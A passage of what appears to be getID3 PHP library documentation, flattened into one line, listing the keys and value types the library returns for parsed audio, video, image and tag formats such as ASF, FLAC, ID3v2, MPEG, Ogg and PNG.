['header']=>array() { // + ['channel_configuration']=>integer() // + ['crc_present']=>boolean() // + ['home']=>boolean() // + ['layer']=>integer() // + ['mpeg_version']=>integer() // + ['original']=>boolean() // + ['private']=>boolean() // + ['profile_id']=>integer() // + ['profile_text']=>string() // + ['sample_frequency']=>integer() // + ['sample_frequency_index']=>integer() // + ['synch']=>integer() // + } // + ['header_type']=>string() // + } // + // + ['ape']=>array() // + { // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['footer']=>array() // + { // + ['flags']=>array() // + ['raw']=>array() // + ['tag_version']=>integer() // + } // + ['header']=>array() // + { // + ['flags']=>array() // + ['raw']=>array() // + ['tag_version']=>integer() // + } // + ['items']=>array() { // array of array of strings containing metainformation + []=>array() { // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + ['data']=>array() { // array of one or more Unicode values + ['data_ascii']=>array() { // array of values converted approximately from Unicode to ASCII + ['flags']=>array() // + } // + } // + ['tag_offset_end']=>integer() // + ['tag_offset_start']=>integer() // + } // + + + ['asf']=>array() { // ASF - Advanced Streaming Format (ASF, Windows Media Audio (WMA), Windows Media Video (WMV)) + ['audio_media']=>array() { // + []=>array() { // + ['bitrate']=>integer() // + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['codec']=>string() // + ['codec_data']=>string() // + ['codec_data_size']=>integer() // + ['raw']=>array() { // + ['nAvgBytesPerSec']=>integer() // + ['wBitsPerSample']=>integer() // + ['nBlockAlign']=>integer() // + ['nChannels']=>integer() // + ['nSamplesPerSec']=>integer() // + ['wFormatTag']=>integer() // + } // + ['sample_rate']=>integer() // + } // + } // + ['codec_list']=>array() { // + ['codec_entries']=>array() { // + []=>array() { // + ['description']=>string() // + ['description_ascii']=>string() // + ['information']=>string() // + ['name']=>string() // + ['name_ascii']=>string() // + ['type']=>string() // + ['type_raw']=>integer() // + } // + } // + ['codec_entries_count']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['reserved']=>string() // + ['reserved_guid']=>string() // + } // + ['comments']=>array() { // array of comment values, derived from ['content_description'] + ['album']=>string() // + ['artist']=>string() // + ['comment']=>string() // + ['copyright']=>string() // + ['genre']=>string() // + ['title']=>string() // + ['track']=>string() // + ['year']=>string() // + } // + ['content_description']=>array() { // raw values - should use values from ['comments'] instead + ['author']=>string() // + ['author_ascii']=>string() // + ['author_length']=>integer() // + ['copyright']=>string() // + ['copyright_ascii']=>string() // + ['copyright_length']=>integer() // + ['description']=>string() // + ['description_ascii']=>string() // + ['description_length']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['rating']=>string() // + ['rating_ascii']=>string() // + ['rating_length']=>integer() // + ['title']=>string() // + ['title_ascii']=>string() // + ['title_length']=>integer() // + } // + ['data_object']=>array() { // + ['fileid']=>string() // + ['fileid_guid']=>string() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['reserved']=>integer() // + ['total_data_packets']=>integer() // + } // + ['extended_content_description']=>array() { // + ['content_descriptors']=>array() { // + []=>array() { // + ['name']=>string() // + ['name_ascii']=>string() // + ['name_length']=>integer() // + ['value']=>string() // + ['value_ascii']=>string() // + ['value_length']=>integer() // + ['value_type']=>integer() // + } // + } // + ['content_descriptors_count']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + } // + ['file_properties_object']=>array() { // + ['creation_date']=>double() // + ['creation_date_unix']=>double() // + ['data_packets']=>integer() // + ['fileid']=>string() // + ['fileid_guid']=>string() // + ['filesize']=>integer() // + ['flags']=>array() { // + ['broadcast']=>boolean() // + ['seekable']=>boolean() // + } // + ['flags_raw']=>integer() // + ['max_bitrate']=>integer() // + ['max_packet_size']=>integer() // + ['min_packet_size']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['play_duration']=>double() // + ['preroll']=>integer() // + ['send_duration']=>double() // + } // + ['header_extension_object']=>array() { // + ['extension_data']=>integer() // + ['extension_data_size']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['reserved_1']=>string() // + ['reserved_1_guid']=>string() // + ['reserved_2']=>integer() // + } // + ['header_object']=>array() { // + ['headerobjects']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['reserved1']=>integer() // + ['reserved2']=>integer() // + } // + ['marker_object']=>array() { // + ['markers_count']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['reserved']=>string() // + ['reserved_2']=>integer() // + ['reserved_guid']=>string() // + } // + ['stream_bitrate_properties']=>array() { // + ['bitrate_records']=>array() { // + []=>array() { // + ['bitrate']=>integer() // + ['flags_raw']=>integer() // + ['flags']=>array() { // + ['stream_number']=>integer() // + } // + } // + } // + ['bitrate_records_count']=>integer() // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + } // + ['stream_properties_object']=>array() { // + []=>array() { // + ['error_correct_data']=>string() // + ['error_correct_guid']=>string() // + ['error_correct_type']=>string() // + ['error_data_length']=>integer() // + ['flags_raw']=>integer() // + ['flags']=>array() { // + ['encrypted']=>boolean() // + } // + ['objectid']=>string() // + ['objectid_guid']=>string() // + ['objectsize']=>integer() // + ['stream_type']=>string() // + ['stream_type_guid']=>string() // + ['time_offset']=>integer() // + ['type_data_length']=>integer() // + ['type_specific_data']=>string() // + } // + } // + ['video_media']=>array() { // + []=>array() { // + ['flags']=>integer() // + ['format_data']=>array() { // + ['bits_per_pixel']=>integer() // + ['codec']=>string() // + ['codec_data']=>boolean() // + ['codec_fourcc']=>string() // + ['colors_important']=>integer() // + ['colors_used']=>integer() // + ['format_data_size']=>integer() // + ['horizontal_pels']=>integer() // + ['image_height']=>integer() // + ['image_size']=>integer() // + ['image_width']=>integer() // + ['reserved']=>integer() // + ['vertical_pels']=>integer() // + } // + ['format_data_size']=>integer() // + ['image_height']=>integer() // + ['image_width']=>integer() // + } // + } // + } // + + + ['au']=>array() { // AU - Next/Sun AUdio format + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['comment']=>string() // + ['data_format']=>string() // + ['data_format_id']=>integer() // + ['data_size']=>integer() // + ['header_length']=>integer() // + ['sample_rate']=>integer() // + ['used_bits_per_sample']=>integer() // + } // + + + ['bmp']=>array() { // BMP - OS/2 or Windows BitMaP + ['header']=>array() { // + ['compression']=>string() // + ['raw']=>array() { // + ['bits_per_pixel']=>integer() // + ['bmp_data_size']=>integer() // + ['colors_important']=>integer() // + ['colors_used']=>integer() // + ['compression']=>integer() // + ['data_offset']=>integer() // + ['filesize']=>integer() // + ['header_size']=>integer() // + ['height']=>integer() // + ['identifier']=>string() // + ['planes']=>integer() // + ['resolution_h']=>integer() // + ['resolution_v']=>integer() // + ['width']=>integer() // + } // + } // + ['type_os']=>string() // + ['type_version']=>integer() // + } // + + + ['bonk']=>array() { // BONK - lossy/lossless audio compression (www.bonkenc.org) + ['BONK']=>array() { // + ['channels']=>integer() // + ['downsampling_ratio']=>integer() // + ['joint_stereo']=>boolean() // + ['lossless']=>boolean() // + ['number_samples']=>integer() // + ['number_taps']=>integer() // + ['offset']=>integer() // + ['sample_rate']=>integer() // + ['samples_per_packet']=>integer() // + ['size']=>integer() // + ['version']=>integer() // + } // + ['INFO']=>array() { // + ['size']=>integer() // + ['offset']=>integer() // + ['version']=>integer() // + []=>array() { // + ['nextbit']=>integer() // + ['offset']=>integer() // + } // + } // + ['dataend']=>integer() // + ['dataoffset']=>integer() // + } // + + + ['flac']=>array() { // FLAC - Free Lossless Audio Compressor + ['SEEKTABLE']=>array() { // + []=>array() { // + ['offset']=>integer() // + ['samples']=>integer() // + } // + ['placeholders']=>integer() // + ['raw']=>array() { // + ['block_data']=>string() // + ['block_length']=>integer() // + ['block_type']=>integer() // + ['block_type_text']=>string() // + ['last_meta_block']=>boolean() // + ['offset']=>integer() // + } // + } // + ['STREAMINFO']=>array() { // + ['audio_signature']=>string() // + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['max_block_size']=>integer() // + ['max_frame_size']=>integer() // + ['min_block_size']=>integer() // + ['min_frame_size']=>integer() // + ['raw']=>array() { // + ['block_data']=>string() // + ['block_length']=>integer() // + ['block_type']=>integer() // + ['block_type_text']=>string() // + ['last_meta_block']=>boolean() // + ['offset']=>integer() // + } // + ['sample_rate']=>integer() // + ['samples_stream']=>integer() // + } // + ['VORBIS_COMMENT']=>array() { // + ['raw']=>array() { // + ['block_data']=>string() // + ['block_length']=>integer() // + ['block_type']=>integer() // + ['block_type_text']=>string() // + ['last_meta_block']=>boolean() // + ['offset']=>integer() // + } // + } // + ['compressed_audio_bytes']=>integer() // + ['compression_ratio']=>double() // + ['uncompressed_audio_bytes']=>integer() // + } // + + + ['gif']=>array() { // GIF - Graphics Interchange Format + ['global_color_table']=>array() { // + []=>integer() // + } // + ['header']=>array() { // + ['bits_per_pixel']=>integer() // + ['flags']=>array() { // + ['global_color_sorted']=>boolean() // + ['global_color_table']=>boolean() // + } // + ['global_color_size']=>integer() // + ['raw']=>array() { // + ['aspect_ratio']=>integer() // + ['bg_color_index']=>integer() // + ['flags']=>integer() // + ['height']=>integer() // + ['identifier']=>string() // + ['version']=>string() // + ['width']=>integer() // + } // + } // + ['version']=>string() // + } // + + + ['id3v1']=>array() { // ID3v1 + ['album']=>string() // + ['artist']=>string() // + ['comment']=>string() // + ['genre']=>string() // + ['genreid']=>integer() // + ['title']=>string() // + ['track']=>integer() // + ['year']=>string() // + ['padding_valid']=>boolean() // + ['comments']=>array() // + ['tag_offset_start']=>integer() // + ['tag_offset_end']=>integer() // + } // + + + ['id3v2']=>array() { // ID3v2 - www.id3.org + []=>array() { // can be any of the 4-character (3-character in ID3v2.2) frame names allowed in the ID3v2 spec. Exact contents of returned array data varies with frame type. + []=>array() { // some frames types allow multiple values ('COMM' for example), others do not and do not have this array level + ['asciidata']=>boolean() // + ['asciidescription']=>string() // + ['data']=>boolean() // + ['datalength']=>integer() // + ['dataoffset']=>integer() // + ['description']=>string() // + ['encoding']=>string() // + ['encodingid']=>integer() // + ['flags']=>array() { // + ['Encryption']=>boolean() // + ['FileAlterPreservation']=>boolean() // + ['GroupingIdentity']=>boolean() // + ['ReadOnly']=>boolean() // + ['TagAlterPreservation']=>boolean() // + ['compression']=>boolean() // + } // + ['framenamelong']=>string() // + ['language']=>string() // + ['languagename']=>string() // + } // + } // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['flags']=>array() { // + ['experim']=>string() // + ['exthead']=>string() // + ['unsynch']=>string() // + } // + ['header']=>boolean() // + ['headerlength']=>integer() // + ['majorversion']=>integer() // + ['minorversion']=>integer() // + ['padding']=>array() { // + ['length']=>integer() // + ['start']=>integer() // + ['valid']=>boolean() // + } // + ['tag_offset_end']=>integer() // + ['tag_offset_start']=>integer() // + } // + + + ['iso']=>array() { // ISO-9660 - CD-ROM Image + ['directories']=>array() { // + []=>array() { // + []=>array() { // + ['file_flags']=>array() { // + ['associated']=>boolean() // + ['directory']=>boolean() // + ['extended']=>boolean() // + ['hidden']=>boolean() // + ['multiple']=>boolean() // + ['permissions']=>boolean() // + } // + ['file_identifier_ascii']=>string() // + ['filename']=>string() // + ['filesize']=>integer() // + ['offset_bytes']=>integer() // + ['raw']=>array() { // + ['extended_attribute_length']=>integer() // + ['file_flags']=>integer() // + ['file_identifier']=>string() // + ['file_identifier_length']=>integer() // + ['file_unit_size']=>integer() // + ['filesize']=>integer() // + ['interleave_gap_size']=>integer() // + ['length']=>integer() // + ['offset_logical']=>integer() // + ['recording_date_time']=>string() // + ['volume_sequence_number']=>integer() // + } // + ['recording_timestamp']=>integer() // + } // + } // + } // + ['files']=>array() { // multidimensional tree-structure array listing of all files and directories in image + []=>array() // entries of type array are directories (key is directory name), may contain files and/or other subdirectories + []=>integer() // entries of type integer are files (key is file name, value is file size in bytes) + } // + ['path_table']=>array() { // + ['directories']=>array() { // + []=>array() { // + ['extended_length']=>integer() // + ['full_path']=>string() // + ['length']=>integer() // + ['location_bytes']=>integer() // + ['location_logical']=>integer() // + ['name']=>string() // + ['name_ascii']=>string() // + ['parent_directory']=>integer() // + } // + } // + ['offset']=>integer() // + ['raw']=>string() // + } // + ['primary_volume_descriptor']=>array() { // + ['abstract_file_identifier']=>string() // + ['application_identifier']=>string() // + ['bibliographic_file_identifier']=>string() // + ['copyright_file_identifier']=>string() // + ['data_preparer_identifier']=>string() // + ['offset']=>integer() // + ['publisher_identifier']=>string() // + ['raw']=>array() { // + ['abstract_file_identifier']=>string() // + ['application_data']=>string() // + ['application_identifier']=>string() // + ['bibliographic_file_identifier']=>string() // + ['copyright_file_identifier']=>string() // + ['data_preparer_identifier']=>string() // + ['file_structure_version']=>integer() // + ['logical_block_size']=>integer() // + ['path_table_l_location']=>integer() // + ['path_table_l_opt_location']=>integer() // + ['path_table_m_location']=>integer() // + ['path_table_m_opt_location']=>integer() // + ['path_table_size']=>integer() // + ['publisher_identifier']=>string() // + ['root_directory_record']=>string() // + ['standard_identifier']=>string() // + ['system_identifier']=>string() // + ['unused_1']=>string() // + ['unused_2']=>string() // + ['unused_3']=>string() // + ['unused_4']=>integer() // + ['volume_creation_date_time']=>string() // + ['volume_descriptor_type']=>integer() // + ['volume_descriptor_version']=>integer() // + ['volume_effective_date_time']=>string() // + ['volume_expiration_date_time']=>string() // + ['volume_identifier']=>string() // + ['volume_modification_date_time']=>string() // + ['volume_sequence_number']=>integer() // + ['volume_set_identifier']=>string() // + ['volume_set_size']=>integer() // + ['volume_space_size']=>integer() // + } // + ['system_identifier']=>string() // + ['volume_creation_date_time']=>integer() // + ['volume_effective_date_time']=>boolean() // + ['volume_expiration_date_time']=>boolean() // + ['volume_identifier']=>string() // + ['volume_modification_date_time']=>integer() // + ['volume_set_identifier']=>string() // + } // + ['supplementary_volume_descriptor']=>array() { // + ['abstract_file_identifier']=>string() // + ['application_identifier']=>string() // + ['bibliographic_file_identifier']=>string() // + ['copyright_file_identifier']=>string() // + ['data_preparer_identifier']=>string() // + ['offset']=>integer() // + ['publisher_identifier']=>string() // + ['raw']=>array() { // + ['abstract_file_identifier']=>string() // + ['application_data']=>string() // + ['application_identifier']=>string() // + ['bibliographic_file_identifier']=>string() // + ['copyright_file_identifier']=>string() // + ['data_preparer_identifier']=>string() // + ['file_structure_version']=>integer() // + ['logical_block_size']=>integer() // + ['path_table_l_location']=>integer() // + ['path_table_l_opt_location']=>integer() // + ['path_table_m_location']=>integer() // + ['path_table_m_opt_location']=>integer() // + ['path_table_size']=>integer() // + ['publisher_identifier']=>string() // + ['root_directory_record']=>string() // + ['standard_identifier']=>string() // + ['system_identifier']=>string() // + ['unused_1']=>string() // + ['unused_2']=>string() // + ['unused_3']=>string() // + ['unused_4']=>integer() // + ['volume_creation_date_time']=>string() // + ['volume_descriptor_type']=>integer() // + ['volume_descriptor_version']=>integer() // + ['volume_effective_date_time']=>string() // + ['volume_expiration_date_time']=>string() // + ['volume_identifier']=>string() // + ['volume_modification_date_time']=>string() // + ['volume_sequence_number']=>integer() // + ['volume_set_identifier']=>string() // + ['volume_set_size']=>integer() // + ['volume_space_size']=>integer() // + } // + ['system_identifier']=>string() // + ['volume_creation_date_time']=>integer() // + ['volume_effective_date_time']=>boolean() // + ['volume_expiration_date_time']=>boolean() // + ['volume_identifier']=>string() // + ['volume_modification_date_time']=>integer() // + ['volume_set_identifier']=>string() // + } // + } // + + + ['jpg']=>array() { // JPEG - still image + ['exif']=>array() // data returned from PHP's exif_read_data() function + } // + + + ['la']=>array() { // LA - Lossless Audio (www.lossless-audio.com) + ['raw']=>array() { + ['format']=>integer() // + ['flags']=>integer() // + } // + ['flags']=>array() { // + ['seekable']=>boolean() // + ['high_compression']=>boolean() // + } // + ['bits_per_sample']=>integer() // + ['bytes_per_sample']=>integer() // + ['bytes_per_second']=>integer() // + ['channels']=>integer() // + ['compression_ratio']=>double() // + ['format_size']=>integer() // + ['header_size']=>integer() // + ['original_crc']=>double() // + ['sample_rate']=>integer() // + ['samples']=>integer() // + ['uncompressed_size']=>integer() // + ['version']=>double() // + ['version_major']=>integer() // + ['version_minor']=>integer() // + ['footerstart']=>double() // + } + + + ['lpac']=>array() { // LPAC - Lossless Predictive Audio Compressor + ['block_length']=>integer() // + ['file_version']=>integer() // + ['flags']=>array() { // + ['16_bit']=>boolean() // + ['24_bit']=>boolean() // + ['adaptive_prediction_order']=>boolean() // + ['adaptive_quantization']=>boolean() // + ['fast_compress']=>boolean() // + ['is_wave']=>boolean() // + ['joint_stereo']=>boolean() // + ['max_prediction_order']=>integer() // + ['quantization']=>integer() // + ['random_access']=>boolean() // + ['stereo']=>boolean() // + } // + ['raw']=>array() { // + ['audio_type']=>integer() // + ['parameters']=>double() // + } // + ['total_samples']=>integer() // + } // + + + ['lyrics3']=>array() { // Lyrics3 - metainformation tags + ['comments']=>array() { // + ['album']=>string() // + ['artist']=>string() // + ['author']=>string() // + ['comment']=>string() // + ['title']=>string() // + } // + ['flags']=>array() { // + ['lyrics']=>boolean() // + ['timestamps']=>boolean() // + } // + ['images']=>array() { // + []=>array() { // + ['description']=>string() // + ['filename']=>string() // + ['timestamp']=>integer() // + } // + } // + ['raw']=>array() { // + ['offset_start']=>integer() // + ['offset_end']=>integer() // + ['AUT']=>string() // + ['EAL']=>string() // + ['EAR']=>string() // + ['ETT']=>string() // + ['IMG']=>string() // + ['IND']=>string() // + ['INF']=>string() // + ['LYR']=>string() // + ['lyrics3tagsize']=>integer() // + ['lyrics3version']=>integer() // + ['unparsed']=>string() // + } // + ['synchedlyrics']=>array() { // + []=>string() // + } // + ['unsynchedlyrics']=>string() // + } // + + + ['midi']=>array() { // MIDI (Musical Instrument Digital Interface) - sequenced music + ['comments']=>array() { // + ['comment']=>string() // + ['copyright']=>string() // + } // + ['keysignature']=>array() { // + []=>string() // + } // + ['raw']=>array() { // + ['events']=>array() { // + []=>array() { // + []=>array() { // + ['us_qnote']=>integer() // + } // + } // + } // + ['fileformat']=>integer() // + ['headersize']=>integer() // + ['ticksperqnote']=>integer() // + ['track']=>array() { // + []=>array() { // + ['instrument']=>string() // + ['instrumentid']=>integer() // + ['name']=>string() // + } // + } // + ['tracks']=>integer() // + } // + ['timesignature']=>array() { // + []=>string() // + } // + ['totalticks']=>integer() // + } // + + + ['monkeys_audio']=>array() { // Monkey's Audio - lossless audio compression + ['bitrate']=>double() // + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['compressed_size']=>integer() // + ['compression']=>string() // + ['compression_ratio']=>double() // + ['flags']=>array() { // + ['24-bit']=>boolean() // + ['8-bit']=>boolean() // + ['crc-32']=>boolean() // + ['no_wav_header']=>boolean() // + ['peak_level']=>boolean() // + ['seek_elements']=>boolean() // + } // + ['frames']=>integer() // + ['peak_level']=>integer() // + ['peak_ratio']=>double() // + ['playtime']=>double() // + ['raw']=>array() { // + ['header_tag']=>string() // + ['nChannels']=>integer() // + ['nCompressionLevel']=>integer() // + ['nFinalFrameSamples']=>integer() // + ['nFormatFlags']=>integer() // + ['nPeakLevel']=>integer() // + ['nSampleRate']=>integer() // + ['nSeekElements']=>integer() // + ['nTotalFrames']=>integer() // + ['nVersion']=>integer() // + ['nWAVHeaderBytes']=>integer() // + ['nWAVTerminatingBytes']=>integer() // + } // + ['sample_rate']=>integer() // + ['samples']=>integer() // + ['samples_per_frame']=>integer() // + ['uncompressed_size']=>integer() // + ['version']=>double() // + } // + + + ['mpc']=>array() { // MPC (Musepack) - lossy audio compression + ['header']=>array() { // + ['album_gain_db']=>integer() // + ['album_peak']=>integer() // + ['album_peak_db']=>boolean() // + ['title_gain_db']=>integer() // + ['title_peak']=>integer() // + ['title_peak_db']=>boolean() // + ['begin_loud']=>boolean() // + ['end_loud']=>boolean() // + ['encoder_version']=>string() // + ['frame_count']=>integer() // + ['intensity_stereo']=>boolean() // + ['last_frame_length']=>integer() // + ['max_level']=>integer() // + ['max_subband']=>integer() // + ['mid_side_stereo']=>boolean() // + ['profile']=>string() // + ['sample_rate']=>integer() // + ['samples']=>integer() // + ['size']=>integer() // + ['stream_major_version']=>integer() // + ['stream_minor_version']=>integer() // + ['true_gapless']=>boolean() // + ['raw']=>array() { // + ['album_gain']=>integer() // + ['album_peak']=>integer() // + ['encoder_version']=>integer() // + ['preamble']=>string() // + ['profile']=>integer() // + ['sample_rate']=>integer() // + ['title_gain']=>integer() // + ['title_peak']=>integer() // + } // + } // + } // + + + ['mpeg']=>array() { // MPEG (Motion Picture Experts Group) - MPEG video and/or MPEG audio (MP3/MP2/MP1) + ['audio']=>array() { // + ['LAME']=>array() { // + ['RGAD']=>array() { // + ['peak_amplitude']=>double() // + } // + ['ath_type']=>integer() // + ['audio_bytes']=>integer() // + ['bitrate_min']=>integer() // + ['encoder_delay']=>integer() // + ['encoding_flags']=>array() { // + ['nogap_next']=>boolean() // + ['nogap_prev']=>boolean() // + ['nspsytune']=>boolean() // + ['nssafejoint']=>boolean() // + } // + ['end_padding']=>integer() // + ['lame_tag_crc']=>integer() // + ['lowpass_frequency']=>integer() // + ['mp3_gain_db']=>double() // + ['mp3_gain_factor']=>double() // + ['mp3_gain_raw']=>integer() // + ['music_crc']=>integer() // + ['noise_shaping']=>integer() // + ['noise_shaping_raw']=>integer() // + ['not_optimal_quality']=>boolean() // + ['not_optimal_quality_raw']=>integer() // + ['preset_used_id']=>integer() // + ['short_version']=>string() // ex: "LAME 3.93" + ['long_version']=>string() // (pre-v3.90 only) ex: "LAME 3.88 (alpha)" + ['source_sample_freq']=>string() // + ['source_sample_freq_raw']=>integer() // + ['stereo_mode']=>string() // + ['stereo_mode_raw']=>integer() // + ['surround_info']=>string() // + ['surround_info_id']=>integer() // + ['tag_revision']=>integer() // + ['vbr_method']=>string() // + ['vbr_method_raw']=>integer() // + } // + ['VBR_bitrate']=>double() // + ['VBR_bytes']=>integer() // + ['VBR_frames']=>integer() // + ['VBR_method']=>string() // + ['VBR_scale']=>integer() // + ['bitrate']=>integer() // + ['bitrate_distribution']=>array() { // + ['free']=>integer() // + ['8']=>integer() // + ['16']=>integer() // + ['24']=>integer() // + ['32']=>integer() // + ['40']=>integer() // + ['48']=>integer() // + ['56']=>integer() // + ['64']=>integer() // + ['80']=>integer() // + ['96']=>integer() // + ['112']=>integer() // + ['128']=>integer() // + ['144']=>integer() // + ['160']=>integer() // + } // + ['bitrate_mode']=>string() // + ['channelmode']=>string() // + ['channels']=>integer() // + ['copyright']=>boolean() // + ['crc']=>integer() // + ['emphasis']=>string() // + ['frame_count']=>integer() // + ['framelength']=>integer() // + ['layer']=>integer() // + ['modeextension']=>string() // + ['original']=>boolean() // + ['padding']=>boolean() // + ['private']=>boolean() // + ['protection']=>boolean() // + ['raw']=>array() { // + ['bitrate']=>integer() // + ['channelmode']=>integer() // + ['copyright']=>integer() // + ['emphasis']=>integer() // + ['layer']=>integer() // + ['modeextension']=>integer() // + ['original']=>integer() // + ['padding']=>integer() // + ['private']=>integer() // + ['protection']=>integer() // + ['sample_rate']=>integer() // + ['synch']=>integer() // + ['version']=>integer() // + } // + ['sample_rate']=>integer() // + ['stereo_distribution']=>array() { // + ['dual channel']=>integer() // + ['joint stereo']=>integer() // + ['mono']=>integer() // + ['stereo']=>integer() // + } // + ['toc']=>array() { // + []=>integer() // + } // + ['version']=>string() // + ['version_distribution']=>array() { // + []=>integer() // + []=>integer() // + ['2.5']=>integer() // + } // + ['xing_flags']=>array() { // + ['bytes']=>boolean() // + ['frames']=>boolean() // + ['toc']=>boolean() // + ['vbr_scale']=>boolean() // + } // + ['xing_flags_raw']=>string() // + } // + ['video']=>array() { // + ['bitrate']=>integer() // + ['bitrate_mode']=>string() // + ['frame_rate']=>double() // + ['framesize_horizontal']=>integer() // + ['framesize_vertical']=>integer() // + ['pixel_aspect_ratio']=>double() // + ['pixel_aspect_ratio_text']=>string() // + ['raw']=>array() { // + ['bitrate']=>integer() // + ['constrained_param_flag']=>integer() // + ['frame_rate']=>integer() // + ['framesize_horizontal']=>integer() // + ['framesize_vertical']=>integer() // + ['intra_quant_flag']=>integer() // + ['marker_bit']=>integer() // + ['pixel_aspect_ratio']=>integer() // + ['vbv_buffer_size']=>integer() // + } // + } // + } // + + + ['nsv']=>array() { // NSV - Nullsoft Streaming Video + ['NSVf']=>array() { // + ['TOC_entries_1']=>integer() // + ['TOC_entries_2']=>integer() // + ['file_size']=>integer() // + ['header_length']=>integer() // + ['identifier']=>string() // + ['meta_size']=>integer() // + ['metadata']=>string() // + ['playtime_ms']=>integer() // + } // + ['NSVs']=>array() { // + ['audio_codec']=>string() // + ['frame_rate']=>double() // + ['framerate_index']=>integer() // + ['identifier']=>string() // + ['offset']=>integer() // + ['resolution_x']=>integer() // + ['resolution_y']=>integer() // + ['unknown1b']=>integer() // + ['unknown1c']=>integer() // + ['unknown1d']=>integer() // + ['unknown2a']=>integer() // + ['unknown2b']=>integer() // + ['unknown2c']=>integer() // + ['unknown2d']=>integer() // + ['unknown3a']=>integer() // + ['unknown3b']=>integer() // + ['unknown3c']=>integer() // + ['unknown3d']=>integer() // + ['video_codec']=>string() // + } // + ['comments']=>array() { // + ['aspect']=>string() // + ['title']=>string() // + } // + } // + + + ['ofr']=>array() { // OFR (OptimFROG) - lossless audio compression + ['COMP']=>array() { // + []=>array() { // + ['channel_configuration']=>string() // + ['crc_32']=>boolean() // + ['encoder']=>string() // + ['offset']=>integer() // + ['raw']=>array() { // + ['algorithm_id']=>integer() // + ['channel_configuration']=>integer() // + ['encoder_id']=>integer() // + ['sample_type']=>integer() // + } // + ['sample_count']=>integer() // + ['sample_type']=>string() // + ['size']=>integer() // + } // + } // + ['HEAD']=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + ['OFR ']=>array() { // + ['channel_config']=>integer() // + ['channels']=>integer() // + ['compression']=>string() // + ['encoder']=>string() // + ['offset']=>integer() // + ['raw']=>array() { // + ['compression']=>integer() // + ['encoder_id']=>integer() // + ['sample_type']=>integer() // + } // + ['sample_rate']=>integer() // + ['sample_type']=>string() // + ['size']=>integer() // + ['total_samples']=>integer() // + } // + ['TAIL']=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + + + ['ogg']=>array() { // OGG - container format for Ogg Vorbis, OggFLAC, Speex, etc + ['bitrate_average']=>double() // + ['bitrate_max']=>integer() // + ['bitrate_min']=>integer() // + ['bitrate_nominal']=>integer() // + ['bitstreamversion']=>integer() // + ['blocksize_large']=>integer() // + ['blocksize_small']=>integer() // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['comments_raw']=>array() { // + []=>array() { // + ['dataoffset']=>integer() // + ['key']=>string() // + ['size']=>integer() // + ['value']=>string() // + } // + } // + ['numberofchannels']=>integer() // + ['pageheader']=>array() { // + []=>array() { // + ['flags']=>array() { // + ['bos']=>boolean() // + ['eos']=>boolean() // + ['fresh']=>boolean() // + } // + ['flags_raw']=>integer() // + ['header_end_offset']=>integer() // + ['packet_type']=>integer() // + ['page_checksum']=>double() // + ['page_end_offset']=>integer() // + ['page_length']=>integer() // + ['page_segments']=>integer() // + ['page_seqno']=>integer() // + ['page_start_offset']=>integer() // + ['pcm_abs_position']=>integer() // + ['segment_table']=>array() { // + []=>integer() // + } // + ['stream_serialno']=>integer() // + ['stream_structver']=>integer() // + ['stream_type']=>string() // + } // + ['eos']=>array() { // + ['flags']=>array() { // + ['bos']=>boolean() // + ['eos']=>boolean() // + ['fresh']=>boolean() // + } // + ['flags_raw']=>integer() // + ['header_end_offset']=>integer() // + ['page_checksum']=>double() // + ['page_end_offset']=>integer() // + ['page_length']=>integer() // + ['page_segments']=>integer() // + ['page_seqno']=>integer() // + ['page_start_offset']=>integer() // + ['pcm_abs_position']=>integer() // + ['segment_table']=>array() { // + []=>integer() // + } // + ['stream_serialno']=>integer() // + ['stream_structver']=>integer() // + } // + } // + ['samplerate']=>integer() // + ['samples']=>integer() // + ['stop_bit']=>integer() // + ['vendor']=>string() // + } // + + + ['png']=>array() { // PNG (Portable Network Graphics) - still image + ['IDAT']=>array() { // + []=>array() { // + ['header']=>array() { // + ['crc']=>integer() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + } // + } // + ['IEND']=>array() { // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + } // + ['IHDR']=>array() { // + ['color_type']=>array() { // + ['alpha']=>boolean() // + ['palette']=>boolean() // + ['true_color']=>boolean() // + } // + ['compression_method_text']=>string() // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + 